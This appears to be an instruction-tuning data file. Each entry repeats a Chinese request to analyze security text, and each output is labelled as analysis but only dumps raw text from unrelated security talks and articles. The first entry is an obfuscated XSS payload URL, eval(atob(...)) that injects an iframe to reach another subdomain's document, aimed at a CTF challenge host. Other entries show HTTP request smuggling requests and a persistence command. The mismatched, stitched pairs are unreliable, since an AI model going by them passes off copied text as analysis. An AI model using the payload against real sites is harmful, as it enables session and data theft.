https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=eval(atob(lala))//&lala=ZG9jd
W1lbnQuZG9tYWluID0gInhzcy5lZWM1YjIuY2hhbGxlbmdlLmdjc2lzLmNuIjsKaWZyYW
1lID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaWZyYW1lIik7CmlmcmFtZS5zcmM9Im
h0dHBzOi8vYXV0aC54c3MuZWVjNWIyLmNoYWxsZW5nZS5nY3Npcy5jbiI7CiQoJ2JvZ
HknKS5hcHBlbmQoaWZyYW1lKTsKaWZyYW1lLm9ubG9hZCA9IGZ1bmN0aW9uKCkge
wogICAgZG9jID0gaWZyYW1lLmNvbnRlbnREb2N1bWVudDsKICAgIHNjciA9I...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Keren Elazari
aka  @K3r3n3
www.K3r3n3.com
@K3r3n3
 TAKE THE RED PILL?
Source : “25 Years Of Vulnerabilities:  1988-2012 Sourcefire Research Report”
Solution: Secure What Matters!
Life
Rights
CritInfr
IP
PII
CCN
Counter-
measures
Situational
Awareness
Operational
Excellence
Defensible
Infrastructure
REPLACEABILITY
Original Model by Joshua Corman
https://www.iamthecavalry.org/
Solution: Don’t Keep Your Bugs To Yourself
https://bugcrowd.com/list-of-bug-bounty-programs
The Internet Bug Bounty
https://hackerone.com/ibb
Solution: Stop, Collaborate and Share
Image by Chris Halderman CC BY 3.0
Solution : Empower The Masses
Image by Scoobay
CC BY-NC-SA 2.0
Image: Crobis, The Economist
Solution: Mind The Gap
Secure What Matters
Don’t Keep Your Bugs To Yourself
Collaborate & Share
Empower The Masses
Stop The Spread Of FUD
Bonus Points:
One Million
Security
Professionals
Needed!
Source : Cisco 2014 Annual Security Report


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

S-SDL企业应用实践
关于漏洞、风险、成本
1. 为什么软件总会有漏洞？漏洞是怎么引入的？
◦ 业务需求引入
◦ 产品设计引入
◦ 编码引入
2. 如何应对风险
◦ 缓解风险
◦ 转移风险
◦ 接受风险
3. 安全成本
◦ 对于企业来说，安全投入多少是合适的？
什么是S-SDL
不是一种安全技术，而是E2E的安全工程能力
也是一种Security Built In的解决方案
目标：交付更安全的系统
S-SDL架构
安全策略／安全治理
组
织
架
构
培
训
体
系
研
发
流
程
度
量
体
系
工
具
平
台
安全标准、规范、过程、知识库
人
工具
方法
质量
管理
安全是质量属性的一部分，将安全融入到质量管理是构建S-SDL的基本条件
软件安全研发流程设计
安全需求
安全设计
安全开发
安全测试
发布及漏洞
管理
持续改进
安全融入开发流程
建立安全需求
1. 分析业务需求对安全的影响
2.来自客户的显性安全需求
3.安全需求基线
3.合规、认证需求
安全需求
设计目标
质量门槛
安全设计—Security by Design
1.攻击面分析
◦ 攻击面最小化
2. 威胁建模
◦ STRIDE威胁建模
◦ 攻击树威胁建模
安全规范
威胁库
方案库
安全设计原则
说明
开放设计
安全不依赖于设计的秘密
失败安全
基于允许的访问决策
权限分离
一种保护机制需要两把钥匙来解锁
最小授权
根据业务需求最授权
经济适用
越复杂的东西越容易出漏洞
最小公共化
尽量减多用户间公用的且被所有用户依赖的机
制
完全仲裁
每一次访问都应该进行权限检查
心理可承受
安全机制的设计要易于使用
不轻信
默认不可信
保护薄弱环节
攻击往往在薄弱点发生
纵深防御
不依赖单一的安全机制
代码安全
1. 安全编码规范
2. 代码扫描及告警清理
3. 代码Review
安全函数库
扫描规划定制化
告警清理指导
代码 Review指导
安全测试
1.基于威胁建模的测试
2.Fuzzing
3.己知漏洞扫描
4. 测试问题跟踪
发布及漏洞管理
1. 安全生态建设—漏洞收集
2. 漏洞分析，排查，预警
3. 根因分析


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
[show me your privileges and I will lead you to SYSTEM]
Andrea Pierini, Paris, June 19th 2019
2
dir /a /r %USERPROFILE%
➔ Cyclist & Scuba Diver, Father & Husband
➔ IT Architect & Security Manager
➔ Long time experience
➔ InfoSec addicted
➔ Windows Server & Linux
“early adopter”
“whoami /priv” - Andrea Pierini
@decoder_it | decoder.ap@gmail.com | https://decoder.cloud | https://github.com/decoder-it
Cyber Saiyan
Member of:
3
dir /a /r %USERPROFILE%
➔ Cyclist & Scuba Diver, Father & Husband
➔ IT Architect & Security Manager
➔ Long time experience
➔ InfoSec addicted
➔ Windows Server & Linux
“early adopter”
“whoami /priv” - Andrea Pierini
@decoder_it | decoder.ap@gmail.com | https://decoder.cloud | https://github.com/decoder-it
Cyber Saiyan
The good old days…
Member of:
4
Why this talk
➔ Escalating privileges via “Windows Privilege abusing” & “Token manipulation”
techniques are often not considered and/or misunderstood
➔ Some Windows privilege manipulations techniques are not well documented
➔ So I decided to dig deeper…
➔ “Abusing Token Privileges For Windows Local Privilege Escalation “(Bryan Alexander
& Stephen Breen) a great article which inspired me a lot!
“whoami /priv” - Andrea Pierini
5
Agenda
➔ Intro to Windows Privileges & Tokens
➔ How to get them?
➔ Interesting privileges for escalation:
◆ SeDebug
◆ SeRestore & SeBackup & SeTakeOwnership
◆ SeTcb & SeCreateToken
◆ SeLoadDriver
◆ SeImpersonate & SeAssignPrimaryToken
 From “Rotten Potato” to “Juicy Potato”
 Prevention
➔ Final thoughts
“whoami /priv” - Andrea Pierini
6
What are Windows Privileges?
➔ “A privilege is the right of an account, such as a user or group account, to perform
various system-related operations on the local computer, such as shutting down the
system, loading device drivers, or changing the system time” (msdn.microsoft.com)
➔ Some Users/Groups have predefined privileges
➔ Privileges are managed through the “User Right Assignment” of the Local Policies,
but you can play with t...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Response Smuggling
Pwning HTTP/1.1 Connections
Agenda
-
HTTP Request Smuggling
-
Desynchronization Variants
-
Response Smuggling
-
Response Concatenation
-
Arbitrary Proxy Cache Poisoning/Deception
-
Response Scripting
HTTP Request Smuggling
HTTP Request Smuggling
-
Attack introduced in 2005 by Watchfire
-
Abuse discrepancies between Front-end and Back-end Server
-
Multiple message-length directives in one request
GET /example HTTP/1.1
Host: www.vulnerable.com
Content-Length: 32
Content-Length: 5
AAAAAGET /DeleteMyAccount HTTP/1.1
X: GET /myAccount HTTP/1.1
Host: www.vulnerable.com
Cookie: sessionID=1234
HTTP Request Smuggling
-
Desync Variants
-
Techniques to force discrepancy between servers
-
Headers are “hidden” from HTTP parsers
-
“Reborned” in 2019 by James Kettle
-
Real methodology to Detect - Confirm - Explore - Exploit
-
Demonstration of real systems being exploited… Bounties!
Connection Desync
-
End-to-End vs Hop-by-Hop Headers
-
Connection: Connection_Option
-
Directives “close”, “keep-alive”, <custom>
-
Connection Headers deleted when forwarded
GET /Hello HTTP/1.1
Host: www.vulnerable.com
Connection: Content-Length
Content-Length: 13
SMUGGLED_DATA
Request Smuggling Exploitation
-
Bypass Front-End controls (not Authentication)
-
Hijack Requests (only if data is stored and retrieved...)
-
Upgrades existing vulnerabilities (XSS, Open-Redirect)
-
Web Cache Attacks (Cache-Control ignored…)
Response Smuggling
HTTP Response Smuggling
-
Inject a complete message in the Response Queue
-
HTTP Desyn & HTTP Response Splitting
-
Proxy fails to match Requests with corresponding Responses
GET /example HTTP/1.1
Host: www.vulnerable.com
GET /hello HTTP/1.1
Host: www.vulnerable.com
POST /LoginAction HTTP/1.1
Host: www.vulnerable.com
….
User=admin&pass=abc123
HTTP Response Smuggling
HTTP Pipelining
HTTP Pipeline Desync
-
Pipelining not “Enforced”
-
Send through free connections
-
If MaxConn reached: pipeline || wait
-
Responses not “stored”
-
Connection closed
HTTP Pipel...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL – LEVERAING WRITE-WHAT-WHERE
VULNERABILITIES IN CREATORS UPDATE
Morten Schenk msc@improsec.com
Contents
Abstract ............................................................................................................................................................. 2
Background and Windows Kernel Exploitation History ..................................................................................... 3
Kernel Read and Write Primitives ..................................................................................................................... 4
Windows 10 Mitigations .................................................................................................................................... 7
Windows 10 1607 Mitigations ........................................................................................................................... 8
Revival of Kernel Read and Write Primitives ..................................................................................................... 8
Windows 10 1703 Mitigations ......................................................................................................................... 12
Revival of Kernel Read and Write Primitives Take 2 ....................................................................................... 14
Kernel ASLR Bypass .......................................................................................................................................... 17
Dynamic Function Location ............................................................................................................................. 22
Page Table Randomization .............................................................................................................................. 23
Executable Memory Allocation .............................................................................................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#BHUSA @BlackHatEvents
Invisible Finger:
Practical Electromagnetic Interference Attack on
Touchscreen-based Electronic Devices
Haoqi Shan1, Boyi Zhang1, Zihao Zhan1,
Dean Sullivan2, Shuo Wang1, Yier Jin1
1: University of Florida
2. University of New Hampshire
#BHUSA @BlackHatEvents
Information Classification: General
Invisible Finger
Remote precise touch events injection
attack against capacitive touchscreens
using IEMI signal
INVISIBLE FINGER
#BHUSA @BlackHatEvents
Information Classification: General
TL;DR
§
Invisible Finger
§
Remote precise touch events injection attack against capacitive touchscreens
using IEMI signals.
§
Effective attack distance ~3cm
§
Can induce short-tap, long-press, omnidirectional swipe gesture
§
Works on different touchscreen devices, different scanning methods
§
A practical attack with out-of-sight screen locator and touch event detectors
https://invisiblefinger.click
#BHUSA @BlackHatEvents
Information Classification: General
TL;DR
§
Invisible Finger
§
Remote precise touch events injection attack against capacitive touchscreens
using IEMI signals.
§
Effective attack distance ~3cm
§
Can induce short-tap, long-press, omnidirectional swipe gesture
§
Works on different touchscreen devices, different scanning methods
§
A practical attack with out-of-sight screen locator and touch event detectors
https://invisiblefinger.click
INVISIBLE FINGER
#BHUSA @BlackHatEvents
Information Classification: General
TL;DR
§
Invisible Finger
§
Remote precise touch events injection attack against capacitive touchscreens
using IEMI signals.
§
Effective attack distance ~3cm
§
Can induce short-tap, long-press, omnidirectional swipe gesture
§
Works on different touchscreen devices, different scanning/driving methods
§
A practical attack with out-of-sight screen locator and touch event detectors
INVISIBLE FINGER
https://invisiblefinger.click
#BHUSA @BlackHatEvents
Information Classification: General
TL;DR
§
Invisible Finger
§
Remote precise touch events injecti...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Beyond the MCSE:
Red Teaming Active Directory
Sean Metcalf (@Pyrotek3)
s e a n @ adsecurity . org
www.ADSecurity.org
About Me
Founder Trimarc, a security company.
Microsoft MCM (AD) & MVP
Speaker:
BSides, Shakacon, Black Hat, DEF CON, DerbyCon
Security Consultant / Researcher
Own & Operate ADSecurity.org
(Microsoft platform security info)
| @PryoTek3 | sean @ adsecurity.org |
Agenda
Key AD Security components
Offensive PowerShell
Bypassing PowerShell security
Effective AD Recon
AD Defenses & Bypasses
Security Pro’s Checklist
| @PryoTek3 | sean @ adsecurity.org |
Hacking the System
PS> Get-FullAccess
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/
| @PryoTek3 | sean @ adsecurity.org |
Differing Views of Active Directory
•Administrator
•Security Professional
•Attacker
Complete picture is not well understood by any single one of them
| @PryoTek3 | sean @ adsecurity.org |
AD Security in ~15 Minutes
| @PryoTek3 | sean @ adsecurity.org |
Forests & Domains
•Forest
•Single domain or collection of domains.
•Security boundary.
•Domain
•Replication & administrative policy
boundary.
| @PryoTek3 | sean @ adsecurity.org |
https://technet.microsoft.com/en-us/library/cc759073%28v=ws.10%29.aspx
| @PryoTek3 | sean @ adsecurity.org |
Trusts
• Connection between domains or forests to
extend authentication boundary (NTLM &
Kerberos v5).
• Exploit a trusted domain & jump the trust
to leverage access.
• Privilege escalation leveraging an exposed
trust password over Kerberos
(ADSecurity.org).
| @PryoTek3 | sean @ adsecurity.org |
Cloud Connectivity
•Corporate networks are connecting to
the cloud.
•Often extends corporate network into
cloud.
•Authentication support varies.
•Security posture often dependent on
cloud services.
| @PryoTek3 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

对URLDNS探测class的补充
问题
刚刚有个师傅私聊问到我这个问题，这⾥来谈⼀谈，当时⼤师傅的⽂章⾥确实也没提到这
⼀点
遗忘的师傅可以回顾下：https://gv7.me/articles/2021/construct-java-detection-class-deserialization
-gadget/
这个问题就是：为什么明明没这个类我在本地⽣成的时候明明没有这个类为什么还会收到
DNS请求
解决
在问题之前我们简单说下调⽤流程，⽅便简单会议下
将url与检测类分别放⼊HashMap的key/value
触发反序列化后先是恢复HashMap的key再恢复value
之后调⽤putVal时触发key的hashcode⽅法导致DNS解析触发
如果我们探测的class为不存在的class那么就打断了这个过程的第⼆步，由于没有try/catch
做异常处理，利⽤此我们可以成功通过URLDNS探测class
⽽为什么没有这个类本地调试⽣成的时候会“触发”，其实这和javassist有关，先来个图进⾏直
观的解释
没错正如你所想，问题出⾃于 makeClass 当中的 toClass ，这个⽅法中的toClass其实就根
据我们输⼊参数的 className 构造了⼀个类并加载到了 jvm 当中
当然这样说太敷衍了，还是简单上⼀下代码，这⾥贴⼀些关键的
在 javassist.ClassPool#toClass(javassist.CtClass, java.lang.ClassLoader,
java.security.ProtectionDomain)
可以看到这个 toClass2 其实就是反射调⽤⽅法，调⽤的是什么，其实就是这
个 defineClass1/2
public static Class makeClass(String clazzName) throws Exception{
  ClassPool classPool = ClassPool.getDefault();
  CtClass ctClass = classPool.makeClass(clazzName);
  Class clazz = ctClass.toClass();
  ctClass.defrost();
  return clazz;
}
    public Class toClass(CtClass ct, ClassLoader loader, ProtectionDomain
domain) throws CannotCompileException {
        try {
            byte[] b = ct.toBytecode();
            Method method;
            Object[] args;
            if (domain == null) {
                method = defineClass1;
                args = new Object[]{ct.getName(), b, new Integer(0), new
Integer(b.length)};
            } else {
                method = defineClass2;
                args = new Object[]{ct.getName(), b, new Integer(0), new
Integer(b.length), domain};
            }
            return (Class)toClass2(method, loader, args);
        } catch (RuntimeException var7) {
            throw var7;
        } catch (InvocationTargetException var8) {
            throw new CannotCompileException(var8.getTargetException());
⽽这个变量在类的静态块做了初始化
        } catch (Exception var9) {
            throw new CannotCompileException(var9);
        }
    }
    //反射调⽤⽅法
    private static synchronized Object toClass2(Method method, ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

欢迎参加 BlueHat Shanghai
Eric Doerr
微软安全响应中心总经理
@edoerr
May 30, 2019
2019 年，中国的安全研究员是微软漏洞赏金
计划中成果最多，影响力最大的贡献者
增长
57%
来自中国的漏
洞赏金计划参
与者
46%
来自中国的漏
洞赏金计划提
交成果
2018 vs 2019
影响力
中国，48%
全球，52%
漏洞赏金计划奖金
中国，22%
全球，78%
符合漏洞赏金计划要求的提交
2018 vs 2019
侧重点
2019
所提交漏洞类型的划分
内存安全问题
56%
信息泄露
15%
微软漏洞赏金计划
Microsoft Office
Insider
Microsoft
.NET Core 和
ASP.Net Core
Microsoft Edge
Azure DevOps
Microsoft Cloud
Bounty
Windows
Defender
Application
Guard
Windows Insider
Preview
Microsoft
Identity
Mitigation Bypass
and Defense
Microsoft Hyper-
V
Microsoft Office
Insider
Microsoft
.NET Core 和
ASP.Net Core
Microsoft Edge
提交数增加 75%
Azure DevOps
Microsoft Cloud
Bounty
Windows
Defender
Application Guard
Windows Insider
Preview
提交数增加 40%
Microsoft
Identity
Mitigation Bypass
and Defense
Microsoft Hyper-V
提交数增加 50%
微软漏洞赏金计划
9
致谢
来自中国的安全研究人员和合作公
司已经证明了自己的技术实力，帮
助我们一起在 2019 保护广大的用
户和整个安全生态圈。
一些历史回顾……
围绕安全投入的漫长历史
90 年代至 2010年
1998
MSRC 创立
2002
Bill Gates
可信计算备忘录
2003
Visual Studio 中的
缓冲区溢出保护
适用于 XP 和
Server 2003 的
Windows
Defender
2004
安全开发生命
周期（SDL）
XP SP2 提供
数据执行保护
(DEP)
2005
首届
BlueHat
2006
BitLocker 伴
随 Windows
Vista 发布
2007
地址空间布局随
机化（ASLR）
伴随 Vista 发布
2009
AppLocker
伴随
Windows 7
发布
围绕安全投入的漫长历史
2010 年至今
2013
微软发起
首个漏洞
赏金计划
数字安全
中心成立
2014
控制流防
护（CFG）
伴随
Window
s 8.1 发
布
2015
Office ATP
（高级威胁防
护）发布
微软高级威胁
分析（ATA）
发布
网络防御运营
中心成立
2016
微软云应用安
全服务 发布
Azure 安全
中心（ASC）
发布
Defender
ATP 发布
2017
Credenti
al Guard
伴随 Win
10 发布
Defender
Exploit
Guard 发
布
2018
Azure ATP
发布
FIDO2 免密
码登录
Microsoft
Secure
Score 发布
2019
Azure
Sentinel 在
RSA 发布
Microsoft
Threat
Experts 发布
首届 BlueHat
Shanghai
CVE-2019-0708 范例
对安全的关注和投入在新版 Windows 中获得了回报
•
漏洞：远程显示协议中的
身份验证前 UAF（ Use
After Free ）
•
Win8、Server 2012、
Win10 不受影响
•
为“结束支持”的 XP、
Win7 和 Server 2003
发布了补丁
微软的未来
变得数字化
到 2020 年时，标
准普尔 500 公司
的平均年龄会达到
12 岁
50% 的标普 500
公司将在 2026年
被取代
1 百万/小时
到 2020 年，新
设备的上线速度
60% 计算能力
到 2025 年将通过
云平台提供
为了不落后于时代，
每个组织都必须成
为软件公司
微软云
应用程序创新
业务应用
安全和管理
数据
人工智能和机器
学习
生产力
Power BI
高级威胁防护
安全中心
认知服务
机...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Copyright 2003 - SunStorm Security Group
Slide Number 1 of 64
After Napster
Assessing the Threats, Value and Survivability
of Peer-to-Peer Networks
Copyright 2003 - SunStorm Security Group
Slide Number 2 of 64
Napster: The File Sharing
Invasion
Copyright 2003 - SunStorm Security Group
Slide Number 3 of 64
Napster Overview
• Facts and figures about Napster
• What happened to Napster?
Copyright 2003 - SunStorm Security Group
Slide Number 4 of 64
Napster Subscription Base
Can 98 Million Users All be
Wrong?
•The Numbers Game
• · 18,000,000 people have broadband at home now (IBID)
• · 34% of U.S. population regularly streams music today
(Arbitron/Edison Media)
• · Napster enlisted more users in 1 year than AOL did in 15
years. (Arbitron/Edison Media)
• · 34% of U.S. population regularly streams music today
(Arbitron/Edison Media)
• · 40% of U.S. population will be listening to Internet radio
by 2003 (Webnoize)
• · Digital downloads will grow from 3% of online music sales
in 2001 to 30% in 2006 (Jupiter Media Metrix)
Copyright 2003 - SunStorm Security Group
Slide Number 5 of 64
Napster Subscription Base
Can 98 Million Users All be
Wrong?
•The Napster Server Architecture
Napster enlisted and served more users
in 1 year than AOL did in 15 years.
(Arbitron/Edison Media)
118 servers served the entire globe.
Copyright 2003 - SunStorm Security Group
Slide Number 6 of 64
From Doom to Tombs to
Tunes
Online Gaming and MMOG to
Music
• In the beginning there were games
• The global demand for music
– Economic forces
– The recording industry
– RIAA and other interested parties
– DMCA and copyright law
Copyright 2003 - SunStorm Security Group
Slide Number 7 of 64
It’s the Primal App, Stupid
• Napster as a Killer App
• Why some peer-to-peer systems fail
• How will peer-to-peer survive the attacks on
filesharing and privacy?
Copyright 2003 - SunStorm Security Group
Slide Number 8 of 64
Building Secure and
Successful
Peer-to-Peer Systems
• If I build it, will they come?
• ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Bluehat Shanghai 2019 |
David “dwizzzle” Weston |
Microsoft OS Security Group Manager
Advancing Windows Security
早上好 上海！
Windows for PCs
Familiar desktop experience
Broad hardware ecosystem
Desktop app compat
One Core OS
Base OS
App and Device Platform
Runtimes and Frameworks
Windows on XBOX
10 Shell experience
Unique security model
Shared gaming experience
Windows on IOT
Base OS
App and Device Platform
Runtimes and Frameworks
Windows for …
Form factor appropriate
shell experience
Device specific scenario
support
Windows is evolving….
Malicious code
cannot persist on a
device.
Violations of
promises are
observable.
All apps and
system
components have
only the privilege
they need.
All code executes
with integrity.
User identities
cannot be
compromised,
spoofed, or stolen.
Attacker with
casual physical
access cannot
modify data or
code on the device.
Increasing Security
Windows 10 S
10 S
Classic
2
1
Mandatory Code Signing
Complete Password-less
“Admin-less” user account
4
3
Internet scripts and macros
blocked
1
Run as admin
2
Execute Unsigned Code
3
Use passwords
4
Mitigations not always on
10 S:  Millions of installs, no widespread detections of malware
All code executes with integrity.
Code Integrity Improvements
CI policy removes many “proxy” binaries
Store signed only apps (UWP or Centennial)
“Remote” file extensions that support dangerous actions are blocked
Remote Office Macros are blocked by default
Windows 10 S
All binaries
Microsoft Signed
Proxy Binaries
Dangerous
Handlers
Remote
Dangerous
Files
1st Order Code Integrity protection
A “1st order” CI bypass enables a remote attack to
trigger initial unsigned code execution
10 S focuses on preventing “1st” order bypasses
A “2nd order” bypass enabled additional unsigned code
execution after reaching initial code execution
10 S offers less durable guarantees for “2nd” order
bypasses
Windows 10 S
Network
Physical Machine
Trigger
Handler
No
Yes
Exploit mitigation Strategy
Increase Cost o...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Module 2
Typical goals of malware and their
implementations
https://github.com/hasherezade/malware_training_vol1
Persistence
Basics of Persistence
• WHO?
• Most of the malware needs it (except some ransomware)
• WHY?
•To start the application after each reboot
• HOW?
•Using legitimate persistence methods
•Using custom, creative methods....
Basics of Persistence
Windows offers various legitimate persistence ways – let’s recall them...
Basics of Persistence
• Registry keys, i.e.:
• HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
• HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
• The most commonly used technique (also by malware)...
https://support.microsoft.com/pl-pl/help/179365/info-run,-runonce,-runservices,-runservicesonce-and-startup
Basics of Persistence:
Startup link
• %APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup
Basics of Persistence:
Scheduled task
• Task scheduler view
•Task scheduler view:
Basics of Persistence:
System Services
UAC
Bypass
required
Basics of Persistence:
System Services
• Administrator rights required
• Creating a service:
UAC
Bypass
required
sc create <service_name> binPath= <service_path>
DisplayName= <service_display_name> start= auto
Basics of Persistence:
System Services
• Related registry keys:
• HKLM\SYSTEM\ControlSet001\services\<service name>
• HKLM\SYSTEM\ControlSet002\services\<service name>
• HKLM\SYSTEM\CurrentControlSet\services\<service name>
UAC
Bypass
required
Basics of Persistence:
System Services
• Regedit view:
UAC
Bypass
required
Hunting for malware
persistence artifacts
SysIntenals’ Autoruns
https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
RegShot
• RegShot allows for monitoring changes in the Windows Registry
https://sourceforge.net/projects/regshot
Hiding Persistence
Hiding Persistence - ideas
• Typical methods, but with extra measures to cover/protect
• Abuse of other mechanisms of the system ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

先放上一个图示 方便理解
然后放上目录结构
1
├─application 应用目录（可设置）
2
│ ├─common 公共模块目录（可更改）
3
│ ├─index 模块目录(可更改)
4
│ │ ├─config.php 模块配置文件
5
│ │ ├─common.php 模块函数文件
6
│ │ ├─controller 控制器目录
7
│ │ ├─model 模型目录
8
│ │ ├─view 视图目录
9
│ │ └─ ... 更多类库目录
10
│ ├─command.php 命令行工具配置文件
11
│ ├─common.php 应用公共（函数）文件
12
│ ├─config.php 应用（公共）配置文件
13
│ ├─database.php 数据库配置文件
14
│ ├─tags.php 应用行为扩展定义文件
15
│ └─route.php 路由配置文件
16
├─extend 扩展类库目录（可定义）
17
├─public WEB 部署目录（对外访问目录）
18
│ ├─static 静态资源存放目录(css,js,image)
19
│ ├─index.php 应用入口文件
20
│ ├─router.php 快速测试文件
21
│ └─.htaccess 用于 apache 的重写
22
├─runtime 应用的运行时目录（可写，可设置）
23
├─vendor 第三方类库目录（Composer）
24
├─thinkphp 框架系统目录
25
│ ├─lang 语言包目录
26
│ ├─library 框架核心类库目录
27
│ │ ├─think Think 类库包目录
28
│ │ └─traits 系统 Traits 目录
29
│ ├─tpl 系统模板目录
30
│ ├─.htaccess 用于 apache 的重写
31
│ ├─.travis.yml CI 定义文件
32
│ ├─base.php 基础定义文件
33
│ ├─composer.json composer 定义文件
34
│ ├─console.php 控制台入口文件
35
│ ├─convention.php 惯例配置文件
36
│ ├─helper.php 助手函数文件（可选）
37
│ ├─LICENSE.txt 授权说明文件
38
│ ├─phpunit.xml 单元测试配置文件
39
│ ├─README.md README 文件
40
│ └─start.php 框架引导文件
41
├─build.php 自动生成定义文件（参考）
42
├─composer.json composer 定义文件
43
├─LICENSE.txt 授权说明文件
44
├─README.md README 文件
45
├─think 命令行入口文件
入口文件为public目录下的index.php 程序或许有一个或者多个入口文件，入口文件 一般
首先会检测程序安装情况 定义一些环境变量，网站路径等，定义应用目录，最后一步为加
载框架引导文件
首先进入start.php
一进去就加载了base.php
base.php里面做的事情可就多了
1.载入Loader类 thinkPHP5.0真正实现了按需加载，所有类库采用自动加载机制，并且支
持类库映射和composer类库的自动加载。自动加载的实现由think\Loader类库完成，自动
加载规范符合PHP的PSR-4
关于Loader类有一个比较重要的方法，这里强调一下
2.注册环境变量
3.注册自动加载 以及错误异常处理机制
4.最后一点着重说一下，Config的初始化 base.php最后一句话，初始化了Config，调用了
config类的set方法，
其实是加载了convention.php文件 它返回了一个数组
到这里base.php文件执行完毕，我们回到start.php中 App::run()->send(); 执行应用，这
时候就可以跟进App类了，我们跟进run()方法
run方法的默认参数是一个request对象 如果请求不为空 就处理这个请求 如果传入的参数
为空 则先进入Request instance 初始化出一个请求对象
然后调用自身的initcCommon initCommon又调用了init 最后返回Config::get()又一次初
始化了config ,这里注意下，我们知道tp嘚每个模块，应用都有单独的配置文件，所以这里
实现的就是除了加载总的配置文件，还要把应用单独的配置文件初始化
接下来的流程我们看 源码嘚注释就可以了解大概了
接下来我们重点关注一个一个变量 $dispatch 它是关键的调度信息，用于路由到具体的模
块方法，rout...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

MI-CASA
SU-CASA
Elliott Thompson
Principle Consultant | OSCP | CTL | CCT-APP
192.168.1.1
192.168.1.1
??
CACHE-CONTROL:
MAX-AGE= 31536000
C     KIES
BROWSER
Close the browser & all proﬁles
Close the browser
Close the browser
Close the browser
Close the tab
Appears to ignore the ﬂag
Expires = “Session”
JAVASCRIPT
CACHE
COOKIES
JAVASCRIPT
HTTPS://VK.COM:443
/BLOG?CATEGORY=1
KARMA
DINO DAI ZOVI
SHAUN MACAULAY
DEAUTHENTICATION
?
?
PREFERRED NETWORK LIST PROBE
?
YEAH THAT’S ME!
SWEET
?
DISCONNECTED
?
192.1
<HTM
??.??.??.??
10.0.0.0/8
172.16.0.0/12
172.16.0.0/12
192.168.0.0/16
192.168.1.1
192.168.0.1
192.168.1.254
10.0.0.138
192.168.2.1
192.168.254.254
10.0.1.1
192.168.3.1
10.10.1.1
10.0.0.1
10.0.0.2
10.1.1.1
192.168.11.1
192.168.0.30
192.168.0.50
192.168.0.10
192.168.0.101
192.168.15.1
10.90.90.90
192.168.8.1
192.168.86.1
192.168.1.200
192.168.100.1
192.168.123.254
192.168.1.10
192.168.1.210
192.168.1.99
192.168.16.1
192.168.10.1
192.168.20.1
192.168.30.1
192.168.62.1
192.168.102.1
192.168.0.227
192.168.10.50
10.1.10.1
192.168.0.3
192.168.168.168
192.168.50.1
192.168.55.1
192.168.251.1
192.168.0.254
192.168.0.100
192.168.1.100
192.168.10.10
192.168.10.100
192.168.223.100
200.200.200.5
192.168.1.20
192.168.4.1
192.168.100.100
192.168.2.254
192.168.1.220
192.168.178.1
192.168.1.1
192.168.0.1
192.168.1.254
10.0.0.138
192.168.2.1
192.168.254.254
10.0.1.1
192.168.3.1
10.10.1.1
10.0.0.1
10.0.0.2
10.1.1.1
192.168.11.1
192.168.0.30
192.168.0.50
192.168.0.10
192.168.0.101
192.168.15.1
10.90.90.90
192.168.8.1
192.168.86.1
192.168.1.200
192.168.100.1
192.168.123.254
192.168.1.10
192.168.1.210
192.168.1.99
192.168.16.1
192.168.10.1
192.168.20.1
192.168.30.1
192.168.62.1
192.168.102.1
192.168.0.227
192.168.10.50
10.1.10.1
192.168.0.3
192.168.168.168
192.168.50.1
192.168.55.1
192.168.251.1
192.168.0.254
192.168.0.100
192.168.1.100
192.168.10.10
192.168.10.100
192.168.223.100
200.20...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Microservices and FaaS
for Offensive Security
Ryan Baxendale
$ whoami
Ryan Baxendale
Penetration Tester
Centurion Information Security Pte Ltd - www.centurioninfosec.sg
Singapore
twitter.com/ryancancomputer
github.com/ryanbaxendale
linkedin.com/in/ryanbaxendale
Servers are dead...
“Serverless”
Jan 2015 - AWS Lambda Preview open to all
AWS Customers
The stack
Source: https://intl.aliyun.com/forum/read-499
Microservices
Code
Real-time File Processing
https://aws.amazon.com/lambda/
Real-time Stream Processing
https://aws.amazon.com/lambda/
Scale
https://github.com/airbnb/streamalert
StreamAlert is a serverless, realtime data
analysis framework which empowers you to
ingest, analyze, and alert on data from any
environment, using datasources and alerting
logic you define.
https://github.com/0x4D31/honeyLambda
honeyλ - a simple serverless application
designed to create and monitor URL
{honey}tokens, on top of AWS Lambda and
Amazon API Gateway
https://github.com/goadapp/goad
Goad is an AWS Lambda powered, highly
distributed, load testing tool built in Go
https://github.com/davbo/lambda-csp-report-uri
Simple python application which runs on AWS
Lambda and writes CSP reports into S3 for later
processing
https://github.com/therefromhere/csp_lambda
AWS Lambda function to store Content Security
Policy reports in ElasticSearch
Automate
https://github.com/marekq/aws-lambda-firewall
Create temporary security groups on your
EC2 instances through a simple API call. In
addition, audit your security groups easily by
the use of automated reports written to S3.
https://github.com/ilijamt/lambda_security_grou
p_manager
Auto managing your AWS security groups
with Lambda
https://github.com/johnmccuk/cloudflare-ip-security-gr
oup-update
Lambda function to retrieve Cloudflare's IP address
